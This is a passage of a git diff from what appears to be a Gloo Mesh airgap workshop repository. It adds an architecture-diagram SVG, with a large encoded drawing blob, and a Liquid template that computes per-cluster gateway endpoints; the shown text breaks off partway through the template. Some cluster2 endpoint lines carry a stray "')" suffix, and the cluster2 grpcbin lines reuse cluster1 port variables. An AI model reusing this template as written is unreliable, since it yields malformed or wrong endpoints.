G5y0wmKNMXHUwMDA2wbFyY0rA0Vx1MDAwMWBcdTAwMDamXbuep4Awl4GkRFx1MDAxMmKq6ZGpMWJ621xuZD9cdTAwMGa+QN7DvJl5VJvHfu/zN9Fe9SHXfE3VklmeXHUwMDBm41jvpON6N9FcdTAwMGZAt4BcdTAwMWYp2EKmgY8zMYIyS4Hc5WDagPXIyV7BLf+BlVx1MDAxNjfp+cCExkIlxK1bJv5FdVhcdTAwMDB9XHUwMDAxgCQr8a25fcuVWtc9M9A6XCI4PnyGsCd6XHUwMDAy+UNcdTAwMTHVW0R+8yhTXGZcdTAwMTEqevFoLIReo0WVv9bBXHUwMDA3T1pcdTAwMTNj3INoXFyKbXFqXHTQOIKbhpSK7MdcdTAwMWJ7YidcdTAwMDU6XHUwMDAw8fkwLdNcdTAwMWJzpX5fXHRucoR/PPgrjPFPXHUwMDAxT/5YJ1x1MDAwNGBHM2WyyU2yk6JqrYPXXHUwMDE37sB6wtRcdTAwMDNzpozDXHUwMDE4sbVuMV+8Y9xic+dcdTAwMWHoXHUwMDA2zJSg6z28/ohcdTAwMDdcdTAwMTakXFwqXHUwMDEzmYNbcao38Hj6Yp6QaYspYU1cdTAwMTNCZqY531qE51x1MDAwZnpcdTAwMDDzUNDKc3c2MWpR21x1MDAxNtxcYvN4NlqwN1x1MDAxMV5pMWVcdTAwMDRcdTAwMTndJmUhflx1MDAxNau1q+FcIr1cdTAwMWG9i2H2cXbduvRcdTAwMTLra5rNLbc4OWLiuMBmxiA2xVxuYHHaXHUwMDA2l5u/XHUwMDA3aWrB78FcIqYmNCC8892UIDVd2Vx1MDAwM/Uwy2B4XHJcdTAwMDY4I8SelrpcdTAwMTDu0pLctLtVXHUwMDAwpVx1MDAwNVnttqk0NeUha0HPf4pk9mps0MtWWaLbe2i+hJPTXHUwMDFhioTJXbjkUE1/XHUwMDFhXHUwMDFiYMu0syTUlG9rU7zq0taXWcDLXHUwMDFjZI5pMyZAivz+xJbdXHUwMDE2Pl7Dkc8mS8RmVTROPbavc/Xcg+umkMWx8XxQXHJ2XHUwMDBlNs2+VzfFLVxuclx1MDAwMJF5epfpkrWyqbPqtuBJ/eZaoftDiT8zU9TT4DPKymTjbyz+/EfaXHUwMDA2s88whSO1XHUwMDEwwfNva6ScQ/phjKQ1T/lAiHLmU1S2V5N1XHUwMDBlxIxcdTAwMTVlWJiWY5S5paZwZZzEgLxcdTAwMDGwYFtPXHUwMDE021xidsNcdTAwMDanXHUwMDFjzFx1MDAxYVxi0TctTUc5MeyDXG4mrWel+6+t4qublDG+YFx1MDAwMmaCXHUwMDE2XHUwMDFhUamxW0tcdTAwMTdjZVx1MDAwMyBcdTAwMTFg92ui0WpD341cdTAwMDTfXHUwMDE2fd/neFx1MDAxMzNtqnuxSd1Y3ZMy7ek4XHUwMDA3SuGcXHUwMDAzXjpruedN+r/eXVwi+oPJPYW859NcdTAwMTJcdTAwMDTKkG0xXHLGf0R4MOVcdTAwMWUjXFxYJlx1MDAxME6VqWVVyz1mkLI0MUNxXHUwMDAwvVx1MDAwYuU9dnovuceYXHUwMDA1qFx1MDAxMUAlXHUwMDE4T3BHlzxuQ1x1MDAxZmCJXHUwMDAxqDNxXHUwMDFijFZyVY3zi0l2ytbDgVx1MDAxMHtcdTAwMWadWL3Kk/wq9fTSqcn3XHUwMDA0a4UrXHUwMDFl4FxupJ1cdTAwMTnJQbBJhsLKdbhcdTAwMDQgfpNQXHUwMDAz9iBSRO3YX2ubnu9cdTAwMDA1qMn2XHUwMDAwg1GBriUu7U41XHUwMDE40pxT01x1MDAxYcx4Nsl5i76QJ/mba4Xwt1x1MDAxNH2+vVx1MDAwNLhPJJhJQbTaplx1MDAwNvLqLaazl6/5XFytnW9/fHLeefl8PKWnf1x1MDAwM9THXHUwMDAx18E3xaDTzStebjhKqTVPXFwzna1MPzdP+bdPJ41NhjPappZ9Nc/gpvrGnjJ+Vt3Wi/F6qlZcdTAwMWNfxz+FrHfwsJNcdTAwMTRo8red9n+mM+6x7pGO92dZk1x1MDAxOKffPnPPzdyM4Fxc7CZ2lexN0f1cdTAwMDGe2XMqXHUwMDE36XdyOtX4XGbfxmPvw6fb2XCvddeNZ3Q/oMWyK0Lg2ONcdTAwMTmFLVx1MDAwMrXiiEBcbm3V3Mb/8Vx1MDAwN3Toh+mT6K+TtMVsOul4Uz82XHUwMDFk+1xyqIUhqdeWiZ1bgHhBKLtcZmi0zb9cYj/e/rs7qlxyp/am098w93tcclwi85nYXHUwMDAxO774veE94KXwhJeUalx1MDAwMTB/izzDXHUwMDBm9vKefCvGSaZcIlx1MDAxZTCXn7eZctAnfzNunEtUz4f0XHUwMDAwjlxcZmSTqI41YH5i+jDuXHUwMDE3LD8suITdgsFB2ZliSzZKNVx1MDAwN6FQY/xZo/ncO+5dtVx1MDAxZjzA2lx1MDAwZrbcft0jXHUwMDFk78+yx1uWhjo03ChGbkK6XkpcdTAwMTfDV4lJsXVcYlx1MDAxMqvnhtPZXHUwMDA0y+mzXG69iVx1MDAwMvooPESPXG5Z3Vx1MDAwZuiEkFV6e1GYxIhtVXPj//hcdTAwMDNcbllNXHUwMDFhla+iXHUwMDEzljiUojtcdTAwMDRiXHUwMDE1gqh597vgard/JmBdXHUwMDAz8lx1MDAwZVx1MDAwMFh9QuA+nSNcdTAwMTkm3FxmWNuYjf3FbUBDQZRpy8xcdTAwMTmgXHUwMDFjgT2nlrlYaFx1MDAwYoRcdTAwMTkx/UyNjXqcWJDSXHUwMDE2XHUwMDA2IYGJMK9cdTAwMTS5dI0kllx1MDAxNvA4qInEc64xXSmLwUibYs31XVV/okG2ILhcdTAwMTKIwqMzJe1ScJe4i6kmQdjUWFx1MDAwYoVcdTAwMTXfNf3Hl8cvnMEgiUx9iOk3p03DXHUwMDAz5bYpXCKxIMj0YTNcdTAwMWYhK7s6s2G7nlx1MDAxY2Cu0CrxL9b7y/5zh1g49XS9YYAxXHUwMDAyS765XHUwMDAw9MeFXHUwMDAxXHUwMDE1gIIwi3LBXHSwXHUwMDAyvK5cYkBqYUlcdJNw9FqT5Z1cdTAwMWQoXHUwMDE4juD5M4ZcdTAwMTUoJMFA57hcdTAwMTRcdTAwMGZji8HzYJwqbvpmMLSCcJhcdTAwMTmaRH/GbG4sbEyJv+mWTDAmkmsgXHUwMDAxl3A4fFxiXHUwMDEx2CA1jYPgM6uyZiNcdPiSXGJcdTAwMTUxv+lG+5VbmstOwyxcdTAwMWJvum/KnIVp28JcdTAwMDXWXHUwMDEyueUmmfglZ1xuIU2xJJSed/6jN/WbK7RK+Fx1MDAwN5N+XHUwMDFhe7fVR4zNs9u3aJ3gXHUwMDFiIVxupvhcdTAwMDP4Z/LcXHUwMDA0iFx1MDAwZVx0Qlx1MDAxMNOlMcOmLM400MHG4c+Z9Fx1MDAwZYbvXHUwMDA1XHUwMDAw4SZgNks2XHUwMDBmblPhlv5ccrxKqZn6R01Okr2E51x1MDAwYlx1MDAwMFx1MDAwMog1ier/dPnnXHUwMDFmXHUwMDAxcIIt0PF43tOFUEVcdLE3dVnkXHUwMDAzSY6QXHUwMDE0XHUwMDEyXHUwMDAz1pJa/Fx1MDAwMVx1MDAxZltcbsBqIfZx00zzQYWy58l9tfFcdTAwMWO9XHUwMDFjekFAXHUwMDEwfqCKJZ2nplO2mlx0KSzGXHUwMDAxuzBTtaJcdTAwMThcdTAwMWPhWUvAkCdcdTAwMDPM312l/cPhP5tJt5xcdTAwMGLJXHUwMDE4oY5auXVcdTAwMDLQP5RcdTAwMWRQXHUwMDAxXGJcdTAwMDdqmV7ocPia2yOrv+WfsDjgQoWU1Fx1MDAwNlx1MDAwNlx1MDAwNtdcdTAwMDDmyERkXHUwMDExXVfb+CP+XHUwMDE28E8jzSlTZpSlJtKt/lx1MDAwNbSj0IRcdTAwMDBcdTAwMGUzrzsmgW+Rl47NMEWETCNAZLqDrla/aMs0MZKYmUJAMElcdTAwMGWSXHT5XHUwMDFmbPz6hqtcdTAwMDX1ln9SmW56aItcXHDfkbJB9eObYLFcdTAwMDI+XHUwMDAwXHUwMDA0YF6XXHUwMDFh41x1MDAxMGpJY2yY9nvK9DrzXHUwMDE0gJs0aPVcdTAwMTKAYLRaxHYxt7beRFjaftlCXG5/klKkXHUwMDAySpL4hFwicJ9cYnb1Jfn51lxi599cdTAwMWXHkfpnktTJw9g+knhFo3+941x1MDAxZq870dT33bmS2vKfVob9mVx1MDAwNo6ab1GZW1x1MDAxOUz6ucGsluwqSZo0mX8qR+gusGQ5hnVMplSOXHUwMDFjZWeFXHUwMDA2XHUwMDE1eFOm3KAw97/KNVaulleZcsdcdTAwMTRlpilcXDzIgTY/ZtHXavg2XHUwMDBloau73GUtk36ohT5cdTAwMWWuf9JIXHUwMDBllUZypOM9+LLrMlx1MDAxMtxv+FxygtMrI4FcdTAwMTLPal7TzFhv58ryPc7AXCJcdTAwMTlN/ISmtMhmQnM5re5oObRgXZJA59udICNcdTAwMDEsqSHs7uLf3Vx1MDAwNtxwVvr41mSENVhhOVx1MDAxOeHPZv9sdVx1MDAwZsgjPItSXHUwMDAxXHUwMDBmU0bkXHUwMDE2mVxi/afHTOKlnqTZ13T7hn3W8uE7XHUwMDE5eMTDvZmXcVx1MDAxOVxcxMOxoJyqU1bf71x1MDAwM3gq+WlP44f7Wv75uk+excd1cdT+XHUwMDAxPIdcdTAwMDI8RzreIy2Lc92KqOSK5ddaPoLCsdQlmlx1MDAxZKLK6eDbXYfP3G94SnymvetuJTGDodRcdTAwMTZVTv7nXHUwMDE5XFyAhnxkvKCBXHUwMDAzaKbzlbJPvVxmnGQ/XHUwMDAxQquVRuNZbTQ+XHUwMDExRFtcdTAwMDNuliHa1273x2hcXHo7i7FcdTAwMTlcboq2MLFcdTAwMWGN3HOolCFjNri8iTSTXG5cdDZcdTAwMGU8XHUwMDA3M8wtXHJ2XHUwMDBiZfNX56hcdTAwMDVKmKW4XHUwMDEyXFyamVx1MDAxOVx1MDAxNPklfVx1MDAwN8FZXGaPjFx1MDAwNrmA0U+hXHUwMDFly1ecb+m7VLmQ4HxYqHw8xlAxUUtcdTAwMWVg3Zfyk7pcdTAwMWV30bCCov3nXHUwMDAxYpVUu1x1MDAxN2RcdTAwMWY0k96jkDmQt7K34F9byNgpJFXvPf8ye41H3iaEpO/zL1x1MDAwMTfIXHUwMDE4lZbplyvN1CXkzFx1MDAwYqLmvc04fVx1MDAxM3uMXHUwMDEwVa655UXuZo+ZNCZ2tj0yXHUwMDFlX1xuQkWeQ5VYLKFvZI3Ei+XCjz12KHvsSMd7Lsuus5vcb/hccsLYy25i3vNTXHQyczBcdTAwMTTZwm7yP8/Aoi5GvEWx6aK3mSg+itlEVpBcdTAwMTVcdTAwMThNXFxxk4lcdTAwMWVcXFx1MDAwMXxcbrPpfVxcmoyb9uP/spVs8e7tbKVxz/Ytl1x1MDAwYuv8QceKofR7f7tDJo68J9FcdTAwMDFkXHUwMDEyXHUwMDEyadtxrWPVbJnWk+L1Jlx1MDAxNVx1MDAxNr3Xj/zj9Wfj4TnwmElZ2tPBIXVwQZPpOCowUupM7aF2rDBcdTAwMWRcdTAwMTU/K4l0r929bNPkTabY/EFNh0JNRzref/iy68CY+1xyT1xixuwzXHUwMDAwliW8qVdCjrq0dVx1MDAxMt7/PINcdTAwMGLGqI+M1zJgaFxmM4q1XHUwMDE5XHUwMDA2XHUwMDE3YHP4XHUwMDA0aGxcYre5aLc6rbFHu4OdIdlcdTAwMWH39Vx1MDAxYVizjMpcdTAwMWP73Fx1MDAxZJox5Vx1MDAxOX1cIphcdTAwMTFT+7W5XHUwMDExdX+TVlc10i6Ey8BLJFsr9ydBT6hkVHiaUFxmXHUwMDA1XHUwMDE4mFx1MDAxMcTNWFJ7cDBw/OunNFx1MDAxZifJoe5kY09FWWzd91ufuSnxQCQ/wGxcdTAwMDd31nGO92fZYyy71vnmesNT4j3u3Vx1MDAxZlx1MDAwN2GlXHUwMDE5QVvgPf/zXGYu3sPemoNcdTAwMDRcdTAwMGXuXHUwMDEx43qjOMg1MKeAe7WqbT7jd+C8NSBpXHUwMDA15803uFx1MDAxM5Pa6+VX3G7zuVxuaItQZa45elaDWv82XHUwMDE0enq4XHUwMDFkvGfep7eH7WJwhCl2SFpIcVx1MDAwNDKJgFx1MDAwNbZUw4aptDjYatp8glx1MDAxYlx1MDAwNvFk0k3SXHUwMDEyvOBcdTAwMWShLl1b5EqbXHUwMDAyXG64XHUwMDBmmSHTp+PPdWW6fjrxRHF8V+5Xjt/6cH+j3euFOrVRM1SqVnvd0b+73Vx1MDAxMvxcdTAwMTNIrOYqXHUwMDEzxK6pSz7ueMe3WOZ+v1xy+spcdTAwMDTPyn5JPH3xXHUwMDA0XHSiTCfmzX3x/k89oEJBMUtcYlx1MDAwNoTFmFx1MDAxOZDmkFx0XHUwMDA0c1x1MDAwYisplDbjSn362u0jXHUwMDExMKFcdTAwMTYnUnLTWYNw5TKyWFx1MDAwYlx1MDAwYpnmXHUwMDAzWlPGsdAr5p8kSpsy9Vx1MDAwMIuLb6nq91dLXHUwMDE3S+OEKGFcbl6VqVxidlx1MDAxNJT/rqHnljAj88C05srMnt1xxpF/XHUwMDBln3NTXGbQMiZcdTAwMDKZSUdcdTAwMTQvJq1+7Vx0U0tcdTAwMTBcdTAwMDDcSjJQXHUwMDEwXHUwMDAwJVd77Z1VT1x1MDAxM0/qN9dcbt0vlvvL/nNruWdnoVx1MDAxNVx1MDAwZjXjXG7xbdKs7/OlfCiee43etuRjd1i7XHUwMDEz0UEj4HKPa21RLVx1MDAxMdFaXHUwMDEwjJaGu1x1MDAxMU0sSoHwwUJg0qeaf4P2815yj1OLmHahnJvuZJwunsiim1x1MDAxZFx1MDAxNlx1MDAxNiOUXG4pqeaCrsYjiTIxY6xO6LZcdTAwMGXIoHUv6XODa6T1KFJcdTAwMTXOR1FcdTAwMWEtZKPxaddN+iCLXHUwMDEyrJRcdTAwMDSaME9cdTAwMWRcdTAwMWX+aqNPoiyt4amBfDJccqzpQVpqnk74eJLg/N1cdTAwMTXq21L6rJmA4ZNcdTAwMDWB2FxcOW2OvN77d/fhUK7zeFnrkkp+kEHxNlx0tlx1MDAwNFx1MDAwMjjlN8zGdC9A835K2owgJj5J4t8/X43IwI+1+bqHi3VcdTAwMTa/eyjnUslxvpFcdTAwMWHg57fn5nBa/smCOJiz/UjHe17LXHUwMDFla1x1MDAxMNrBt7vO2+5+w8WyK8x69Dlo1LtE0HiMtmtH6n+eXHUwMDAx9baD7vBcdTAwMWLOSaWy+KF0x0Hc7ZQxY0n+ZFf8ovDf/qxub1x1MDAxY2p151x1MDAxZa1vdbqvQUvLbjf7NndcdTAwMDd8VFx1MDAxMC+2NS3VXHUwMDE0XHUwMDEzdPPWXHK3rPSW0umXpm7nRKae6ryn3nWwcyvmeI8uXCJk2MGyZkxcZpj/XHUwMDAwelx1MDAwMfhx7d1Ac5PUisOiPUkwpVJcdTAwMDc5VOaLylKTbPejUWatcq5RqPfGd7dcdTAwMTl8XHUwMDAwsHekZY+EIZORabh+rZOvXHSEpuGnfEXG1excdTAwMDDr9q/xZXake+nyZ5KxzGW5XHUwMDFmr3mMkd1q3TN7aodedlx1MDAxZChzv+FcdEFcdTAwMTlAXHUwMDBlT1AmkFx1MDAxMFx1MDAxYVx1MDAxMMDmKVx1MDAxMP7nXHUwMDE5ZFDmLeAltdCBXHUwMDA0/CEgXHUwMDE5Q4QpzNRP9dGFXHKRnVx1MDAwMo2twTKrzbQ2QGKeZYLIM1x0glx1MDAxMlx01KC2mDt7815Hg1x1MDAxMU8/p1x1MDAxYo33yeVcdTAwMTO+epmFXHUwMDAy7nRjSFlKXHRgQEZcdTAwMDTnytmaXHUwMDAx7Fx1MDAxNEtoxLmJhlKTXG7hbTntXHUwMDEz8WQuwGs1XHUwMDA3gpiBXHUwMDFlXGZcdTAwMTNcdTAwMTngXuW+mGPygFx1MDAxMtVKhXfJM6o13sOZVu15M2ywj/5ylVx1MDAwMFx1MDAxYidBNMfjfrnVXHJcXO6Dy758JYBn6E95l1x1MDAxZlx1MDAxMkRcdTAwMTTGcovqQ/9HXHUwMDFjUFx1MDAxMcCQZfKfXHUwMDA0XHUwMDE4NVx1MDAxYVx1MDAwNOKCXHUwMDE3f6U8/Ir8MVx1MDAwMbhcdTAwMDUrZDN7XHUwMDBlKlx1MDAwMpBcdTAwMTlVT7QgXHUwMDE0rCtOlEtWlFKWNkOVXGJcdTAwMThfILH06jA/IUyCykmndVx1MDAwNlwi7cFfXHUwMDEzXSylPVxiXGaEzrAgXHUwMDE4U7VcYu5euKc9XHUwMDEw8WeS0pZpXHUwMDBmLHVXSKSbXHUwMDFmtZsnUVxiv7avpome6ywr2JSAu1xiM1qQUlxyXHUwMDAwcjXtgVx1MDAwMM1qQlx1MDAwMNwhLblE9MxHuXjTv7lWKH+x3l/2n1tcdTAwMGI/7N3+XHUwMDE3XHUwMDBiXHUwMDEwXHUwMDA2QnG6ue/46j6eXHUwMDFjdGit9/pQeFx1MDAxZeC+7H7kPoNupjAkiW1cIrHTc4wxcniOhXfK11x1MDAwNpnanlx1MDAxZESlJW2XXCIuk1xc8GLXf/xQXFyAxJCn7JdcdTAwMTCQVFx1MDAwN8c758T2ns/dXFwgXHUwMDEztmRzLytcdTAwMDd751x1MDAxNoCoYYDwxeaZ3uV7efnWqvRcdTAwMGL8MTZcdTAwMWUmUtWnUohcdTAwMDedyakkysJamVxcOvNqXHUwMDBivJhcdTAwMDVcdTAwMTSWXHUwMDE2poJRziSRSPlgnFxyklx1MDAwYjz7XHUwMDA0L2TLwlx1MDAxMWHLpfo9cVx1MDAxY/bKMUP/sWy9kyNiil3NXHUwMDBlrFx1MDAxY588vtkxxbs5XHUwMDFhXGLyUbRCXHUwMDAxeW7jaVDTzGU2okuJ3IyU6p+dytO07DUzPDg8qJi0XHUwMDEwxZKJ+atcXOVBu6r1cTXswYPErevjXG5cdTAwMGZcdTAwMTIkuKl9/4+dXHS5XHUwMDFiXHUwMDBmkoDwINmNXHUwMDA3sU+SL2HSzPTFm4PdXrbKXHUwMDEy3d5D8yWcnNZQJEzuwqWg86BhPVx1MDAwYsuvTqxyhVx1MDAwNe11id5jq4+vXHUwMDA2iSlcdTAwMTSlYHieqbMvflx1MDAxNau1q+FcIr1cdTAwMWG9i2H2cXbdutS2bV18o7Pvn6NlvefyaVx1MDAwNUfG2Fx1MDAxNjm0Sfb+XHUwMDE4x+l6PCojvdebxmRy9VlcdTAwMGY8g0tCLITcrVnD31xudC9cIphqKtkpVSzGhGKmTjrH5kfHXHUwMDFlXFzHXHUwMDEym+91dZ6UIFx1MDAxNG1cdTAwMTH2vrpcdTAwMTXTfnF23Yx2XHUwMDFm6IDPMt3qjddk4IBxoJKgPrl5dbrTpdJcdTAwMGVcdTAwMTbUx2FBl5pBXHUwMDE3XHUwMDE2JJiDusf/sUWCu3EgXHJcYlx1MDAwN9I9klx1MDAwYlx1MDAwNfZMP1x1MDAwMUtUXCKOhNpcXFx1MDAxM8bTvJO9XHUwMDFmhUdcdTAwMDNyJXWi3/xA407Ao1pUm1x1MDAxOcx/XHUwMDEygtFSXFybSFNayVx1MDAwNcOKYI35fkj3wNUkylQ/4pNan/skXHUwMDE4Jm+uSkPy0Vx1MDAxYr6iSrdwd8lcdTAwMTMvjWhwM1x1MDAwMc+tmuRIx3tey1x1MDAxZaua5FxcTmFdPqT7XHJcdTAwMTfLrsiAY+dD2udcdTAwMTCu4EI2r7De3PXif5xcdTAwMDHFhaCRhJ9GUtLSh9JIh0iIXHUwMDE0XG5cdTAwMTOtxE+FyoVcclx1MDAxY45cdTAwMDByVUvD6sVjr+pcdTAwMGVcdTAwMTOPlFx1MDAxNLlcdTAwMDaCLYNHxz53h5GMeZaWXHSiNVx1MDAxNZpvUaNSeVx1MDAxOMpaXCJ5XHUwMDEzmaRZ/eouXHUwMDE2yaXULijyXHUwMDFia1SoRlx1MDAxNl1cXMtcdTAwMWSiuLCw1ppcdTAwMDBeXHUwMDEzxMdd+v1FKlxudlx1MDAwNZ/lZ9r+c5yIp6X+XHUwMDE41/toXHUwMDE2v3zT6PM6Xd1fXHUwMDBmXHUwMDFmadmfXCKVc3xq57LsOqznfsNcdTAwMTNiPZ+u0ZhcdG7yTLdoXCLmf57BXHUwMDA1e9xPcUhqiVx1MDAwMymOQ2A9ylx1MDAwNENanTLnJIBgXHUwMDBmsNPFrDVuXlxcdac992mlR6uB8cdKy3Bvaae7XHUwMDAzPs48XHUwMDAzaFx1MDAxOCMlhNymbO0p2+nnO9P7z1xu5rPbz7typFh/XHUwMDBmut9wnmv71UuAOt33XHUwMDE4bFVLSoP8MJKAgX1aXHUwMDAw7tFcbmvXNjRcdTAwMTRYgbBT1sfsXHUwMDAz+lL44fHjKswnrZFOhWL1l/ro+Ta46OzcXHUwMDFjh0c63iMtm9MprajKvL69JIdccjWLTlx1MDAwNrPXXHUwMDAznMJdXHUwMDBihTqy+Zx9zd6np6JcdTAwMWRcdTAwMTK1psdI+a3WzaCKbJTQMIFz42wpXHUwMDE2RTE86Fx1MDAxZWDd51Qu0u/AaTQ+w7fx2Pvw6XY2PMC6T9O3QSc9ruhy8vPms5VcdTAwMWQ0XHUwMDA2mUNM7D04OayDv+43PCH85drT1YmxpkoysoVcdTAwMGX1P8/gwl/qq0VcdTAwMDWxyEZa9Lv632OKsJQnbZhcdTAwMWJAXHUwMDA0XHUwMDFja/d6XHUwMDE3d7VR89v9nWug4zJcdTAwMDB2bnRcdTAwMGb8y71NV6lMXHUwMDE3Xkw259276+frxn3q6TOuVD5SilXiicvImeFfJ+NySi3KiFRMSI24rcnFQTNEd4O/iCEkXHRcdHDEwk9xdmqpm8/4WzTbV1x1MDAxZr3PXFy/3828XHUwMDBlftDvodDvkY73vJY9Vtj84NtdXHUwMDA3+txveELQJ7zj25gxYZJcdTAwMDK3qLHzP89zXHUwMDAxfUuqgyNLbaQ6vlx1MDAwYvMpXHUwMDAxqozRIHftPVx1MDAwMea7XHUwMDFkjVu9b8d7a6DSMt5bbHInbuXKZ/ZcdTAwMTFcdTAwMTFcbim8RdOPfDxLMvilejvRj61ZpHRcdTAwMWa/f1xyfncuhsl8vtEvZl3u94/kZlx1MDAwMYp9k1E0XmVV6lJcZoQoZo4pwYFjVT/9OHkrik77LfaSzVxcXed7vWa6/6g207v7aDJXQbBx559krVHruktcdTAwMDFbfvn3JEP/3stuqll6liRgU1xix0ybr42ZPUzeXHUwMDEzscpNMT28XHUwMDE2w2xavzzd5Fx1MDAwMu+PYVx1MDAxNDFLmOYuXGZcYobbmjXNW/FZprlcdTAwMGJTgpuRvtyvydee3C5dSv9WuV1rrLQ+aWOLfZi9d11OXFy9p3KJbu65O0unc2+9yoZcdTAwMWXm0zF7pN1yPLFTMvvvvfgyu3c7L+9eXHUwMDE3mpupyHKLXHUwMDEyX98nXHUwMDE5SP9cciMmY1xytDrhkiHgZlx1MDAwN6dcdTAwMTNiKSQwxlxuXHUwMDE0qlwiYr+yXHUwMDA371x1MDAwMWamr1x0oPz5uCBsf1wii+5+lulcdTAwMDNAKHC6maSmV4uTXHUwMDE0MzOe9D++l5e/wrmwz+vB8ztzqaniWC2g+sXXsDBmXHUwMDExQUBcdTAwMTEoM95cdTAwMTN035pcdGZn21gn5E2D5lqhvsV6f9l/Lkuf3+VQXHUwMDBmgvY+u5oli7f0I11cdTAwMWK8o9DL4ot4iKjfvaaYPS3IaVwig/ksbJetXHUwMDFmyFx1MDAxZs5cdTAwMDI9vspKXFz4XHSFQ/hlt1x1MDAwMTXHSM51Z/yD8fVcdTAwMWaJo1x0I8bGWCmdm2/HMzGGmp6JeiO1sixBXHUwMDFj/LGLXGY5MNNwx1x1MDAxZoCgcFx1MDAxMCuVa1egXHUwMDE4O2hcdTAwMThcdPuClPC1K9hI3FxccFx1MDAwZau8ua1IWi9kKXrlXVx1MDAxNq7Id1WIyYf4ZSTyfukmZEMgZc1oTaK06WxccsJUrDZMXHUwMDA0y5owM0JcdTAwMTI+XHUwMDA1gFx1MDAxYpM/8mXLjomFR/4+SfHLR5RrxzqpcTGazPS9doVNOT1AXHUwMDFjXGZcYlx1MDAwNzOpV3alXHUwMDFk87OIWm3juIv8/iUn//r9VP4u9fvpMZDx17f6e9qqzS69893/+r1cdTAwMDEjZGrmu/zP//71v/9cdTAwMWZbSLlAIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/platform/2-5/airgap/default/partials/calculate-endpoints.liquid b/gloo-mesh/platform/2-5/airgap/default/partials/calculate-endpoints.liquid new file mode 100644 index 0000000000..e7bd4df90d --- /dev/null +++ b/gloo-mesh/platform/2-5/airgap/default/partials/calculate-endpoints.liquid @@ -0,0 +1,58 @@ +{%- assign fqdn_httpbin = vars.httpbin_fqdn | default: "httpbin.example.com" %} +{%- assign fqdn_bookinfo = vars.bookinfo_fqdn | default: "bookinfo.example.com" %} +{%- assign fqdn_portal = vars.portal_fqdn | default: "portal.example.com" %} +{%- assign fqdn_grpcbin = vars.grpcbin_fqdn | default: "grpcbin.example.com" %} +{%- assign fqdn_backstage = vars.backstage_fqdn | default: "backstage.example.com" %} +{%- assign fqdn_cluster1_httpbin = "cluster1-" | append: fqdn_httpbin %} +{%- assign fqdn_cluster2_httpbin = "cluster2-" | append: fqdn_httpbin %} +{%- assign fqdn_cluster1_bookinfo = "cluster1-" | append: fqdn_bookinfo %} +{%- assign fqdn_cluster2_bookinfo = "cluster2-" | append: fqdn_bookinfo %} +{%- assign fqdn_cluster1_portal = "cluster1-" | append: fqdn_portal %} +{%- assign fqdn_cluster2_portal = "cluster2-" | append: fqdn_portal %} +{%- assign fqdn_cluster1_grpcbin = "cluster1-" | append: fqdn_grpcbin %} +{%- assign fqdn_cluster2_grpcbin = "cluster2-" | append: fqdn_grpcbin %} +{%- assign fqdn_cluster1_backstage = "cluster1-" | append: fqdn_backstage %} +{%- assign fqdn_cluster2_backstage = "cluster2-" | append: fqdn_backstage %} +{%- if vars.node_port or vars.cluster1.node_port %} +{%- assign endpoint_http_gw_cluster1_httpbin = fqdn_cluster1_httpbin | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_httpbin = fqdn_cluster1_httpbin | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_portal = fqdn_cluster1_portal | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_portal = fqdn_cluster1_portal | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_grpcbin = fqdn_cluster1_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_grpcbin = fqdn_cluster1_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_backstage = fqdn_cluster1_backstage | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_backstage = fqdn_cluster1_backstage | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- if vars.node_port or vars.cluster2.node_port %} +{%- assign endpoint_http_gw_cluster2_httpbin = fqdn_cluster2_httpbin | append: ":${NODEPORT_CLUSTER2_HTTP}" %} +{%- assign endpoint_https_gw_cluster2_httpbin = fqdn_cluster2_httpbin | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo | append: ":${NODEPORT_CLUSTER2_HTTP}')" %} +{%- assign endpoint_https_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_portal = fqdn_cluster2_portal | append: ":${NODEPORT_CLUSTER2_HTTP}')" %} +{%- assign endpoint_https_gw_cluster2_portal = fqdn_cluster2_portal | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_backstage = fqdn_cluster2_backstage | append: ":${NODEPORT_CLUSTER2_HTTP}')" %} +{%- assign endpoint_https_gw_cluster2_backstage = fqdn_cluster2_backstage | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- endif %}{% comment %}cluster2 nodeport{% endcomment %} +{%- else %} +{%- assign endpoint_http_gw_cluster1_httpbin = fqdn_cluster1_httpbin %} +{%- assign endpoint_https_gw_cluster1_httpbin = fqdn_cluster1_httpbin %} +{%- assign endpoint_http_gw_cluster1_bookinfo = 